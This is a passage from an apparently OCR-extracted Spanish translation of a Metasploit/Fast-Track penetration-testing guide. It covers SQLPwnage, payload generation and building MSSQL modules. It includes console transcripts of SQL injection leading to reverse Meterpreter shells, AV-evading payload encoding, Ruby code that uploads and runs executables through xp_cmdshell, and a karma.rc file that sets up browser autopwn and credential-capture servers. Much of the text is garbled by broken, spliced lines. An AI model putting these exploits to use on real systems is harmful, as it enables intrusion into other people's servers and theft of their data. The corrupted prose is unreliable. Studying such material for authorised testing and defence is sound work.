SQLPwnage written by: Andrew Weidenhamer and David

SQLPwnage is a mass pwnage tool custom coded for Fa
Injection

in a website, scan subnet ranges for web servers, c
attempt to gain you remote access to a system. We u
bypass

the 64kb debug restrictions

on remote Windows systems and deploy our large payl

This is all done without a stager to download remot
made are our final payload. Right now SQLPwnage sup
tcp shell, metasploit reverse tcp meterpreter, and

Some additional features are, elevation to "sa" rol
(DEP) disabling, anti-virus bypassing, and much mor

This tool is the only one of its kind, and is curre

SQLPwnage Main Menu:

1. SQL Injection Search/Exploit by Binary Payload |
2. SQL Injection Search/Exploit by Binary Payload |
3. SQL Injection single URL exploitation

Enter your choice: 2

- This module has the following two options: -

- 1) Spider a single URL looking for SQL Injection.

- successful in identifying SQL Injection, it will

- give you a choice to exploit.-

- 2) Scan an entire subnet looking for webservers r

- port 80. The user will then be prompted with two

- choices: 1) Select a website or, 2) Attempt to sp

- all websites that was found during the scan attem

- to identify possible SQL Injection. If SQL Inject

- is identified, the user will then have an option

- exploit. -

- This module is based on error messages that are m
- commonly returned when SQL Injection is prevalent
- web application. -

- If all goes well a reverse shell will be returned

- the user. -

Scan a subnet or spider single URL?
1. url

2. subnet (new)

3. subnet (lists last scan)

Enter the Number: 2

Enter the ip range, example 192.168.1.1-254: 10.211
Scanning Complete!!! Select a website to spider or

1. Single Website
2. All Websites

Enter the Number: 2

Attempting to Spider: http://10.211.55.128

Crawling http://10.211.55.128 (Max Depth: 100000)
DONE

Found 0 links, following 0 urls in 0+0:0:0

Spidering is complete.

http://10.211.55.128

[+] Number of forms detected: 2 [+]

Kennedy

st-Track. SQLPwnage will attempt to identify SQL
rawl entire sites, fuzz form parameters and
seunique attacks never performed before in order to

oads without restrictions

e files, the only egress connections
ports three payloads, a reverse
metasploit reverse vnc inject.

e if not added, data execution prevention
el

ntly still in beta.

njection (BLIND)
njection (ERROR BASED)

If -
then -

unning on -
ider -

pting -

ion -

to -

ost -
on -

.55.1-254
spider all??
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A SQL Exception has been encountered in the "txtLog
What type of payload do you want?

. Custom Packed Fast-Track Reverse Payload (AV Saf
. Metasploit Reverse VNC Inject (Requires Metasplo

. Metasploit Meterpreter Payload (Requires Metaspl

. Metasploit TCP Bind Shell (Requires Metasploit)

. Metasploit Meterpreter Reflective Reverse TCP

. Metasploit Reflective Reverse VNC

OO wWNE

Select your choice: 5

Enter the port you want to listen on: 9090

[+] Importing 64kb debug bypass payload into Fast-T
[+] Import complete, formatting the payload for del

[+] Payload Formatting prepped and ready for launch
[+] Executing SQL commands to elevate account permi
[+] Initiating stored procedure: 'xp_cmdhshell' if

[+] Delivery Complete. [+]

Created by msfpayload (http://www.metasploit.com).
Payload: windows/patchupmeterpreter/reverse_tcp
Length: 310

Options: LHOST=10.211.55.130,LPORT=9090
Launching MSFCLI Meterpreter Handler

Creating Metasploit Reverse Meterpreter Payload..
Taking raw binary and converting to hex.

Raw binary converted to straight hex.

[+] Bypassing Windows Debug 64KB Restrictions. Evil
[+] Sending chunked payload. Number 1 of 9. This ma
[+] Sending chunked payload. Number 2 of 9. This ma
[+] Sending chunked payload. Number 3 of 9. This ma
[+] Sending chunked payload. Number 4 of 9. This ma
[+] Sending chunked payload. Number 5 of 9. This ma
[+] Sending chunked payload. Number 6 of 9. This ma
[+] Sending chunked payload. Number 7 of 9. This ma
[+] Sending chunked payload. Number 8 of 9. This ma
[+] Sending chunked payload. Number 9 of 9. This ma
[+] Conversion from hex to binary in progress. [+]

[+] Conversion complete. Moving the binary to an ex
[+] Splitting the hex into 100 character chunks [+]

[+] Split complete. [+]

[+] Prepping the payload for delivery. [+]

Sending chunk 1 of 3, this may take a bit...

Sending chunk 2 of 3, this may take a bit...

Sending chunk 3 of 3, this may take a bit...

Using H2B Bypass to convert our Payload to Binary..
Running cleanup before launching the payload....

[+] Launching the PAYLOAD!! This may take up to two
[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (718347 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (10.211.55.130:909

meterpreter >

in" input field of the above website.

e)
it)
oit)

rack... [+]
ivery.. [+]
[

ssions. [+]
disabled. [+]

[

y take a bit. [+]
y take a bit. [+]
y take a bit. [+]
y take a bit. [+]
y take a bit. [+]
y take a bit. [+]
y take a bit. [+]
y take a bit. [+]
y take a bit. [+]

ecutable. [+]

or three minutes. [+]

stage...(216 bytes)

0->10.211.55.128:1031)

jUfl Hecho que parezca facil ... Fast-Track logada@r el acceso y la entrega de la carga Util argmlde la inyeccion de SQL!
Lo interesante de todo esto es el payload. Unajueze identifica la inyeccidon de SQL de Fast-Traokna las opciones
especificadas durante la instalacion inicial y area carga Util de Metasploit como un formato ejgigie. Ese ejecutable se
convierte entonces en una version hexagonal prilmagie la salida es s6lo una gota de recta hexdgdna carga de encargo se
entrega al equipo de la victima que es completamisonalizado a Fast-Track, lo que esta cargalimo es su aplicaciéon una
base hexagonal de 5kb, cae la carga Util en eldrimexagecimal en el sistema operativo subyageumtiéza Windows de
depuracion para convertir el formato hexadecimalwevo a una aplicacion basada en binario. Laipah&mitacion de este
método es que todas las cargas Utiles DEBE egta68KB de tamafio. Si el payload esta sobre el filamse bomba se va hacia
afuera y se convierte en una aplicacion. Fast-Tsdigne patyload personalizados que pesan (Skoc@8mente una vez
convertido nuevamente en un binario se lee en leeikadl primas y la convierte a un archivo en umiato binario, evitando asi
la limitacion de 64 KB. Este método fue introducjatir primera vez por Scott White, en la Defcon $eBtate en 2008 y se ha
incorporado al SQLPwnage Fast-Track y los ataq@sB8uter.



13.8 Payload Generator

SQL PWNAGE

El generador de Payload Fast Track crea Payloads Metasploit para usted con un clic de un botdén. Sin embargo
debemos, recordar los comandos con msfpayload pueden ser complicados, pero el Generadorde Fast Track

simplifica el trabajo para usted!

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3
Version: v4.0

Written by: David Kennedy (ReL1K)
http://www.securestate.com
http://www.thepentest.com

. Fast-Track Updates

. Autopwn Automation

. Microsoft SQL Tools
Mass Client-Side Attack
Exploits

Binary to Hex Payload Converter
. Payload Generator

. Fast-Track Tutorials

. Fast-Track Changelog
10. Fast-Track Credits

11. Exit
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Enter the number: 7
Configuration file not detected, running default pa
Recommend running setup.py install to configure Fas

TN TN N NIRRT R TR TR TR TR TR TN TR N T TN TN TN TN TR TR IR TRTRTRTRTRT NI T ININT]
HHHHHH R

HiH# HiH

### Metasploit Payload Generator ###
HiH# HiHt

### Written by: Dave Kennedy — ###
### aka ReL1K HitHt

HiH# HiH#

TR TN TN NIRRT NIRRT R TR NI TR N T TN TN TN TN TR TN TR TRTRTRTRTRT NI T ININT]
HHHHHH R

TR TN TN NIRRT NIRRT R TR NI TR N T TN TN TN TN TR TN TR TRTRTRTRTRT NI T ININT]
HHHHHH R

The Metasploit Payload Generator is a simple tool t

make it extremely easy to generate a payload and li

on the Metasploit framework. This does not actually

exploit any systems, it will generate a metasploit

for you and save it to an executable. You then need

someone get it on the remote server by yourself and
to execute correctly.

This will also encode your payload to get past most
IDS/IPS.

What payload do you want to generate:

Name: Description:

1. Windows Shell Reverse_TCP Spawn a

2. Windows Reverse_TCP Meterpreter Spawn a
3. Windows Reverse_TCP VNC DLL Spawn a
4. Windows Bind Shell Execute

5. Windows Reflective Reverse VNC Spawn a

6. Windows Reflective Reverse Meterpreter Spawn a
attacker.

Enter choice (example 1-6): 2
Below is a list of encodings to try and bypass AV.
Select one of the below, Avoid_UTF8_tolower usually

. avoid_utf8_tolower
. shikata_ga_nai

. alpha_mixed

. alpha_upper

. call4_dword_xor

. countdown

. fnstenv_mov

~NOoO O~ WNBE

minutes...

th.
t-Track.

(0]
stener

payload
to
getit

AV and

command shell on victim and send back to attacker.
meterpreter shell on victim and send back to attack
VNC server on victim and send back to attacker.
payload and create an accepting port on remote syst
VNC server on victim and send back to attacker.
Meterpreter shell on victim through Reflective to

gets past them.

er.

em.




8. jmp_call_additive
9. nonalpha

10. nonupper

11. unicode_mixed

12. unicode_upper

13. alpha2

14. No Encoding

Enter your choice : 2

Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 10.211.55.130
Enter the port of the Listener: 9090

Do you want to create an EXE or Shellcode

1. Executable
2. Shellcode

Enter your choice: 1
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp

Length: 310

Options: LHOST=10.211.55.130,LPORT=9090,ENCODING=sh ikata_ga_nai

A payload has been created in this directory and is named 'payload.exe’. Enjoy!
Do you want to start a listener to receive the payl oad yes or no: yes

Launching Listener...

Launching MSFCLI on ‘exploit/multi/handler' with PA YLOAD='windows/meterpreter/reverse_tcp'
Listening on IP: 10.211.55.130 on Local Port: 9090 Using encoding: ENCODING=shikata_ga_nai

[*¥] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

Tenga en cuenta que cuando un Payload es creado, Fast-Track automaticamente puede configurar un escucha para
gue acepte la conexiéon. Ahora todo lo que tienes que hacer es conseguir el ejecutable en el sistema remoto. Una vez

ejecutado:
Launching MSFCLI on 'exploit/multi/handler' with PA YLOAD='windows/meterpreter/reverse_tcp'
Listening on IP: 10.211.55.130 on Local Port: 9090 Using encoding: ENCODING=shikata_ga_nai

[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*¥] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (10.211.55.130:909 0->10.211.55.128:1078)

meterpreter >

Acabamos de enterarnos de cémo crear payloads, utilizando Fast-Track framework y, finalmente, tener acceso a un
sistema que utiliza payloads creado por el Metasploit Framework!

14 Construyendo un Modulo

Construyendo un Modulo




Para mi (Dave Kennedy) este fue uno de mis primedxtulos que he construido para el marco de MetisBoy un tipo piton

y cambiar a Ruby en realidad al final no ser "tamall como yo habia previsto. Después de construmdelulo, que queria escribir
paso a paso como fui capaz de crear el médulayrdapequefia introducciéon en la construccién de toédlo facil que es
realmente para agregar herramientas adicionalgplote en el marco de Metasploit.

En primer lugar, quiero empezar con darle una pgicea sobre algunos de los componentes claveateb de Metasploit que
estaremos hablando.

Primero eche un vistazo en el lib / MSF / secciémi@l dentro de Metasploit, esta zona hay una dénaro que se quieren
aprovechar para no tener que reconstruir todogrtitecolos o un ataque cada vez que individualaga\a la base / explotar
seccion:

relik@fortress:/pentest/exploits/framework3/lib/msf /core/exploit$ Is
arkeia.rb dect_coa.rb lorcon2.rb seh.rb.ut.rb

browser_autopwn.rb dialup.rb lorcon.rb smb.rb

brute.rb egghunter.rb mixins.rb smtp_deliver.rb

brutetargets.rb fileformat.rb mssql_commands.rb smt p.rb
capture.rb ftp.rb mssql.rb snmp.rb

dcerpc_epm.rb ftpserver.rb ndmp.rb sunrpc.rb

dcerpc_lsa.rb http.rb oracle.rb tcp.rb

dcerpc_mgmt.rb imap.rb pdf_parse.rb tcp.rb.ut.rb

dcerpc.rb ip.rb pop2.rb tns.rb

dcerpc.rb.ut.rb kernel_mode.rb seh.rb udp.rb
relik@fortress:/pentest/exploits/framework3/lib/msf [/core/exploit$

Podemos ver varias areas que podrian ser Utilashpaptros, por ejemplo theres ya envasados ptogcomo Microsoft SQL,
HTTP, TCP, Oracle, RPC, FTP, SMB, SMTP, y mucho.r&&ba un vistazo a la mssql.rb y mssgl_commangdsstbs dos han
sufrido algunas modificaciones importantes por HBok&, yo mismo, y Dark Operador reciente, desdesgtéeagregando un

poco de funcionalidad a través de los aspectos NISSQ

Si nos fijamos en la linea de partida 126 en nrésgista es la seccién que se centra en gran méskda través de él y obtener
un entendimiento basico que estaremos cubriendona posterior.

Vamos a salir de nucleo, y la cabeza a los modigdslirectorio”, si afiadimos cualquier archivo nuewn aqui, de forma
dindmica se importaradn a Metasploit para noso¥amos a probar un programa muy sencillo, entra en
framework3/modules/auxiliary/scanner/mssq|

Hacer una rapida "ihaz_sql.rb mssql_ping.rb cp"

Editar el archivo que utiliza realmente rapido nana y le permite modificarlo ligeramente, me \egaminar a través de cada
linea y lo que significa:

##t

# $1d: ihaz_sql.rb 7243 2009-12-04 21:13:15Z rellk $ <--- automatically gets set for us when we chec kin

##t

##t

# This file is part of the Metasploit Framework and may be subject to <---- licensing agreem ent, keep standard
# redistribution and commercial restrictions. Pleas e see the Metasploit

# Framework web site for more information on licens ing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core’ <--- use the msf core library

class Metasploit3 < Msf::Auxiliary <---- its goin g to be an auxiliary module
include Msf::Exploit::Remote::MSSQL  <----- we are using remote MSSQL right?
include Msf::Auxiliary::Scanner <----------- itus e to be a SQL scanner

def initialize <---- initialize the main section

super(

‘Name' => 'l HAZ SQL Utility", <------- name of t he exploit

'Version' => '$Revision: 7243 $', <------- svn numb er

'‘Description’ => 'This just prints some funny stuff R description of the exploit

'Author' => 'relik’, <--- thats you bro!
'License' => MSF_LICENSE <---- keep standard

)

deregister_options(RPORT', 'RHOST') <---- dont specify RPORT or RHOST
end




def run_host(ip) <--- define the main function

begin <---begin the function

puts "I HAZ SQL!!!" <---- print to screen i haz S QLm
end <--- close

end <---- close

end <---- close

Ahora que usted tiene una idea bdsica de este mddulo, por salvar a esta (sin las <------ ) y la deja correr en
msfconsole.

msf > search ihaz
[*] Searching loaded modules for pattern ‘'ihaz'...

Auxiliary

scanner/mssql/ihaz_sql MSSQL Ping Utility

msf > use scanner/mssql/ihaz_sql
msf auxiliary(ihaz_sql) > show options

Module options:

Name Current Setting Required Description

HEX2BINARY /pentest/exploits/framework3/data/exploi ts/mssql/h2b no The path to the hex2binary script o n the disk
MSSQL_PASS no The password for the specified userna me

MSSQL_USER sa no The username to authenticate as

RHOSTS yes The target address range or CIDR identif ier

THREADS 1 yes The number of concurrent threads

msf auxiliary(ihaz_sql) > set RHOSTS doesntmatter
RHOSTS => doesntmatter

msf auxiliary(ihaz_sql) > exploit

| HAZ sQL!!!

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Success our module has been added! Now that we have a basic understanding of how to add a module, lets look at the module |
wrote on the next section.

Traducido por Progresive Death

14.1 Payloads a través de MSSQL

Payloads a través de MSSQL

En la seccion anterior que vio los fundamentosrdaraun médulo, yo queria mostrarles este modula ganseguir una
comprension de lo que estamos a punto de condfstiE. modulo le permite entregar rapidamente lagasaitiles Metasploit
base a través de servidores Microsoft SQL. El addigual funciona con 2000, 2005 y 2008. Estas@ees proximos primera le
guiara a través de cdmo usar este tipo de ataqrapgzar desde cero que en la reconstruccién de tdirapaz de escribir esta
carga util (y después de HDM limpiado mi c4digo).

Primero vamos a echar un vistazo a como funcioeapbit. Si usted lee a través de la seccidn deapida ya, usted se daria
cuenta de que algo similar ocurre dentro de Faastkitambién. Cuando un administrador instala pon8®L Server 2000, 2005,
0 2008, si se especifica la autenticacién mixta autenticacién basada en SQL, tienen que esgeaifia contrasefa para la
tristemente célebre "sa" cuenta. La cuenta "séd egenta de administrador de sistemas de sergd@sados en SQL y tiene un
montén de permisos en el propio sistema. Si denalforma puede adivinar la contrasefia de "sa"parme@mcion, puede atacar a
través de vectores de influencia Metasploit paatizar ataques adicionales. Si usted hablé de akyda los capitulos anteriores,
hemos visto cémo a los servidores SQL descubrimiaritavés del puerto UDP 1434, asi como realizajues de diccionario
bruta basada en la fuerza contra las direccionesirel fin de adivinar el SQL "sa" cuenta.

De aqui en adelante, vamos a suponer que ustebgdascontrasefia para el servidor de MSSQL vy sfidelisto para entregar su
carga al sistema operativo subyacente y no el esdadrapida.



Vamos a lanzar el ataque:

< metasploit ------------
\

\(oo)

=i

=[ metasploit v3.4-dev [core:3.4 api:1.0]

+ -- --=[ 453 exploits - 218 auxiliary

+ -- --=[ 192 payloads - 22 encoders - 8 nops
=[ svn r7690 updated today (2009.12.04)

msf > use windows/mssql/mssql_payload

msf exploit(mssql_payload) > set payload windows/me terpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(mssql_payload) > set LHOST 10.10.1.103

LHOST =>10.10.1.103

msf exploit(mssgl_payload) > set RHOST 172.16.153.1 29
RHOST =>172.16.153.129

msf exploit(mssql_payload) > set LPORT 8080

LPORT => 8080

msf exploit(mssgl_payload) > set MSSQL_PASS ihazpas sword
MSSQL_PASS => ihazpassword

msf exploit(mssql_payload) > exploit

[*] Started reverse handler on port 8080

[*] Warning: This module will leave QIRYOIUK.exe in the SQL Server % TEMP% directory
[*] Writing the debug.com loader to the disk...

[*] Converting the debug script to an executable...

[*] Uploading the payload, please be patient...

[*] Converting the encoded payload...

[*] Executing the payload...

[*] Sending stage (719360 bytes)

[*] Meterpreter session 1 opened (10.10.1.103:8080 ->10.10.1.103:47384)

meterpreter > execute -f cmd.exe -i
Process 3740 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Traducido por Progresive Death

14.2 Creando Nuestro Modulo Auxiliar

Creando Nuestro Modulo Auxiliar

Vamos a buscar a tres archivos diferentes, debstda relativamente familiarizados con las secsi@mteriores.

framework3/lib/msf/core/exploit/mssqgl_commandsndniework3/lib/msf/core/exploit/mssqgl.rb
framework3/modules/exploits/windows/mssqgl/mssql |pag.rb

Una cosa a advertencia es que no tuve necesidaohée diferentes comandos en tres archivos difesesibh embargo, si hace sus
planes es posible que desee reutilizar el codigmigear las porciones en hex2binary mssql.rb treéde sentido, mas HDM es un
purista para bastante cédigo (te quiero amigo).

Primero vamos a echar un vistazo a la mssql_payloadra tener una idea de lo que estamos viendo aq



#it
# $1d: mssql_payload.rb 7236 2009-10-23 19:15:32Z h
#it

H#Ht

# This file is part of the Metasploit Framework and

# redistribution and commercial restrictions. Pleas

# Framework web site for more information on licens
# http://metasploit.com/framework/

H#Ht

require 'msf/core’
class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::MSSQL
def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft SQL Server Payload Execution’,
'Description’ => %0q{

This module will execute an arbitrary payload on a
Server, using the Windows debug.com method for writ
and the xp_cmdshell stored procedure. File size res
incorporating the debug bypass method presented at
Note that this module will leave a metasploit paylo
System32 directory which must be manually deleted o
13
‘Author' => [ 'David Kennedy "ReL1K"
'License’ => MSF_LICENSE,
‘Version' => '$Revision: 7236 $',
'References' =>

[
['OSVDB', '5571],

[ 'CVE', '2000-04021,
['BID', '12811,

['URL'"' http://www.thepentest.com/presentations/FastTrack S

dm $

may be subject to
e see the Metasploit
ing and terms of use.

Microsoft SQL

ing an executable to disk
trictions are avoided by
Defcon 17 by SecureState.
ad in the Windows

nce the attack is completed.

hmooCon2009.pdf'" ],

]

' latform' => 'win’,
‘Targets' =>

[
[ '‘Automatic’, { } ],

'befauItTarget' =0
)

end

def exploit

debug = false # enable to see the output

if(not mssql_login_datastore)

print_status("Invalid SQL Server credentials")

return

end
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framewo
handler

disconnect
end

rk,payload.encoded), debug)




Si bien esto puede parecer muy simple y no un moahéécddigo, en realidad hay un montén de cosagstae sucediendo detras
de las escenas que vamos a investigar mas adélam®s a romper este archivo, por ahora. Si nasfis en la mitad superior,
todo lo que deberia ser relativamente el mismoctierg Si nos fijamos en la seccidn de referencéa,zona es simplemente
para obtener informacion adicional sobre el atageeplotar el vector original. La plataforma derige esta especificando las
plataformas de Windows y los objetivos no es mé&suma seccion si queremos sumar sistemas operataoeste ejemplo, si
tenemos que hacer algo diferente con sede fuesardiglor de SQL podriamos afiadir SQL 2000, SQL 29@L Server 2008.
El DefaultTarget nos permite especificar un valadeterminado para este ataque, asi que si usa@ioS&ver 2000, SQL

2005 y SQL 2008, podriamos tener por defecto a,288%ersonas podian cambiar través de la SET EARG2 3, pero si no
2005 seria el sistema atacado.

Pasando a la definicion "explotar" esto empiezamaererdadero cédigo del exploit, una cosa a ta de lo anterior si nos
fijamos en la parte superior se incluyeron "MSKplgit:: Remote:: MSSQL" esto va a incluir una ealad de articulos que
puedan llamar desde el exploit remoto, y porciateeBSSQL. Especificamente, se llama desde los missgl el directorio lib /
MSF / core / area hazafias.

La primera linea de depuracion = false especifidelse representar la informacion de nuevo a wsteal por lo general no
gueremos esto y no es necesario y seria un poododmacion retratado al usuario Metasploit. Sioatg funciona, basta con
modificar la presente para depurar = true y veyds to que estd haciendo Metasploit. Pasandoigu&aste linea, esta es la parte
mas compleja de todo el ataque. Este forro agudasiente una de varias lineas de cddigo queasddimssqgl.rb. Vamos a
entrar en ésta en un segundo, pero para explicardoealmente esta alli:

mssql_upload_exec (funcién definida en mssql.rlagargar un archivo ejecutable a través de SQLglaiatema operativo
subyacente)

MSF:: Util:: EXE.to_win32pe (marco, payload.encopedrea una carga Util de metasploit con sedeafdero especificado, la
convierten en un archivo ejecutable y se codifma@odificacion por omisién

debug = llamar a la funcién de depuracién que ersténdido o apagado?

Por ultimo, el controlador se encargara de lasxiones de la carga util en el fondo para que podasweptar una carga Util de
Metasploit.

La desconexion parte del cédigo deja la conexiGdeel servidor de MSSQL.

Ahora que hemos caminado por esta parte, vamasgerda siguiente seccion en la mssql.rb para satsmtamente lo que este
ataque estaba haciendo.

14.3 The Guts Behind It

The Guts Behind It

Veamos en el framework3/lib/msf/core/exploits /sausu editor favorito y edite el archivo mssqlilaga una blsqueda para
"mssql_upload_exec" (control de nano-w y / a vgtdd debe estar viendo lo siguiente:

#

# Upload and execute a Windows binary through MSSQL queries
#

def mssqgl_upload_exec(exe, debug=false)

hex = exe.unpack("H*")[0]

var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)

print_status("Warning: This module will leave #{var _payload}.exe in the SQL
Server % TEMP% directory")

print_status("Writing the debug.com loader to the d isk...")

h2b = File.read(datastore[HEX2BINARY"], File.size( datastore[HEX2BINARY"))

h2b.gsub!(/KemneE3N/, "% TEMP%\\#{var_bypass}")
h2b.split(/An/).each do |line|
mssql_xpcmdshell("#{line}", false)

end




print_status("Converting the debug script to an exe cutable...")

mssql_xpcmdshell("cmd.exe /c cd % TEMP% && cd % TEMP% && debug < %TEMP%\\#{var_bypass}",
debug)

mssql_xpcmdshell(“cmd.exe /c

move % TEMP%\\#{var_bypass}.bin % TEMP%\\#{var_bypass }.exe", debug)

print_status("Uploading the payload, please be pati ent...")

idx =0

cnt = 500

while(idx < hex.length - 1)

mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>> %TEMP%\\#{var_payload}", false)
idx += cnt

end

print_status("Converting the encoded payload...")

mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe % TEMP%\ \#{var_payload}", debug)
mssql_xpcmdshell("cmd.exe /c del % TEMPY%\\#{var_bypa ss}.exe", debug)
mssql_xpcmdshell("cmd.exe /c del % TEMPY%\\#{var_payl oad}", debug)
print_status("Executing the payload...")

mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", fals e, {itimeout => 1})

end

La definicion mssql_upload_exec (exe, debug = fatsguiere dos parametros y se establece la depnrac false de
forma predeterminada a menos que se especifiquentoario.

El hexagonal exe.unpack = ("* H") [0] es un RubynigtFuey que lleva a nuestros ejecutable generado y
magicamente se convierte en hexadecimal para nssotr

var_bypass = rand_text_alpha (8) y var_payloachd reext_alpha (8) se crean dos variables con ujuigtan
aleatorio de caracteres de 8 alfa, por ejemploePadX

El print_status siempre debe ser utilizado dengrividtasploit, HD no aceptara pone mas! Si ustea qu¢ hay un
par de cosas diferentes para mi vs python, erirgl ptatus te daras cuenta de "# () var_payload.dste subsititues
var_payload la variable en el mensaje print_stgtois|o que en esencia se ve retratado de nueuaddeX.exe "

Cambiando de tema,] HEX2BINARY la H2B [= File.realdhacén de datos File.size [HEX2BINARY almacén de
datos [1])) leera cualquiera que sea el archivo esificado en el HEX2BINARY "almacén de datos, sifijgmos en
cuando disparoé el exploit, lo que decia era "H285te archivo se encuentra en data/exploits/msdujl#ge es un
archivo que yo habia creado con anterioridad de gsi@n formato especifico para las ventanas derdefin que es
esencialmente un bypass simple para eliminar lagioeiones a limite de tamafio del archivo. En grinugar,
enviar el ejecutable, de depuracién de Windowspswierte de nuevo en un binario para nosotrog)tpreces
enviamos la carga util metasploit y llame a nuesferutable antes de convertir para convertir ntgatchivo de
Metasploit.

El h2b.gsuc! (/ KemneE3N / "% TEMP% \ \ # () varphgs") es simplemente un nombre codificado subsiitton

la dinAmica que hemos creado anteriormente, dijaasos en el archivo H2B, KemneE3N se llama entipléls
ocasiones y queremos crear un nombre al azar pafandir las cosas un poco mejor. El gsub solatsysta la
codificada con el azar uno. El h2b.split (/ \ rHxcer cada uno | | linea se iniciara un bucle pasatros y dividir el
archivo H2B voluminosos en varias lineas, la rad®ier es que no podemos enviar el grueso expediemipleto a
la vez, hemos para enviar un poco a la vez compooébcolo de MSSQL no nos permite transferenciag gnandes a
través de sentencias SQL. Por ultimo, el mssql_xigbell ("# (linea)", false) envia la linea de catgaservidor de
ensayo inicial de la linea, mientras que lo falmma falso especifica de depuracion y para no etei@formacion de
nuevo a nosotros.

Los pasos préximos convertir nuestro archivo a id@Binario para nosotros utilizando Windows de dagion,
estamos utilizando el directorio% TEMP% para makifidad. El procedimiento de mssql_xpcmdshellrstiesta
permitiendo que esto ocurra.



La idx = 0 servidor como un contador para nosgbara hacernos saber cuando el tamafo del archiva se
alcanzado, y la cnt = 500 especifica el nUmercadaateres que estamos enviando a la vez. La stgdiapa envia
nuestra carga util con un nuevo archivo de 500cteres a la vez, el aumento de la idx mostrad@rgrdizar que idx
sigue siendo menor que la burbuja hex.length. Waague se ha terminado de los Ultimos pasos canweestra
carga metasploit de nuevo a un ejecutable connauestga previamente realizaron a continuacioajdouta nos da
nuestra capacidad de carga!

Eso es todo! Ufff. En esta leccion usted camin@eés de la creacion de un vector de ataque genteale mas
familiarizados con lo que sucede detras de lamesitSi su forma de pensar acerca de como creabddulo nuevo,
mire a su alrededor por lo general hay algo qumuede utilizar como punto de partida para ayudaearlo.

Espero que no te suelto en esto. Antes de terragtarcapitulo eche un vistazo en lib / MSF / basexglotar / y
editar el mssqgl_commands.rb, aqui podras ver steadetallada de los comandos que me MSSQL y Omtador
han estado construyendo por un tiempo ahora. Aditioente puede empezar a crear sus propios mddei@sde
este si quieres!

15 Dona Aqui

Dona Aqui

Dona a HFC, alimenta a un nifio! Todos los ingresosdirectamente a HF@sograma de trabajo de
alimencion para Kenia.

Dona Aqui

Haga clic aqui para aprender mas sobre los donantes

16 Glosario

Glosario

En este momento no hay texto en esta pagina. Pbadesr el titulo de esta pagiea otras paginabuscar
en los registrgso editar esta pagina

16.1 Modulos

Modulos

Los modulos muestran una gran versatilidad perndbda seleccion de los componentes que necesiia. E
interfaz modular es extremadamente facil de usanen que este acostumbrado a ella. Vamos a tdevez
ellas y definamos algunos componentes.

Exploit

e Definir cual ataque usar.
e Configuracion de varias opciones que ya estan definidas y poder utilizarlas.



* Exploits son usados con payloads.
» Exploit sin payloads son definos como modulos auxiliares.

Payloads, Encoders, NOPS

e Payloads son el codigo que se ejecuta de forma remota en el sistema objetivo.
e Payloads se ejecutan a travez de un codificados para garantizar que no ocurran trasmisiones de errores.
« Nops mantiene el tamano de los payloads consistentes.

Auxiliares
e Escaneres, Servidores y "otros" modulos que no son de exploits.

e Contiene varios fuzzers y modulos de negacion de servicios.

16.2Recursos

Recursos

Un recurso es simplemente un archivo de texto adpgpor lineas que contiene una secuencia de comaada ser ejecutados
en msfconsole. Uno de los recuros mas notablesead€asploit el archivo "karma.rc". Hechemos urev®mirada dentro de
este archivo para tener una idea del contenidamdeaurso.

<>load db_sqlite3
db_create /root/karma.db

use auxiliary/server/browser_autopwn

setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads

set LHOST 10.0.0.1
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads

run

use auxiliary/server/capture/pop3
set SRVPORT 110

set SSL false

run

use auxiliary/server/capture/pop3
set SRVPORT 995

set SSL true

run

use auxiliary/server/capture/ftp
run




Como podemos ver, pasar un archivo como recursoldatasploit permite tener una gran automatizacion.
Puede configurar cualquier opcion y usar cualgmedulo con Metasploit usando un recurso y todos los
comandos seran ejecutados en secuencia.

Hay dos metodos para cargar un archivo como reamddetasploit. Pueden ser pasados como opcion al
msfconsole en la linea de comando usando el iqtenrd-r* o puede ser cargado desde msfconsoledasan
el comando "resource".

root@bt4:/pentest/exploits/framework3# ./msfconsole -r karma.rc

TV II

| [N T
/]
|

N

=[ msf v3.3-dev

+ -- --=[ 372 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 149 aux

resource> load db_sqlite3

msf > resource karma.rc
resource> load db_sqlite3

[-]

[-] The functionality previously provided by this p lugin has been

[-] integrated into the core command set. Use the n ew 'db_driver'

[-] command to use a database driver other than sql ite3 (which

[-] is now the default). All of the old commands ar e the same.

[-]

[-] Failed to load plugin from /pentest/exploits/fr amework3/plugins/db_sqlite3:

Deprecated plugin

resource> db_create /root/karma.db

[*] The specified database already exists, connecti ng
[*] Successfully connected to the database

[*] File: /root/karma.db

16.3 Un Poco sobre Payloads

Un Poco sobre Payloads

Debido a la gran cantidad de exploit actualmergpatibles en Metasploit, hay un buen chance de que
exista un modulo que tu simplemente puedas editar tps propositos durante el desarrollo del ekghaira
hacer el desarrollo del exploit facil, Metasploitluye un exploit de ejemplo que puedes modificar.
puedes encontrar en "documentation/samples/modufgeits/".

Metasploit contiene una gran variedad de tiposayéopd diferentes, cada uno cumple con una unica
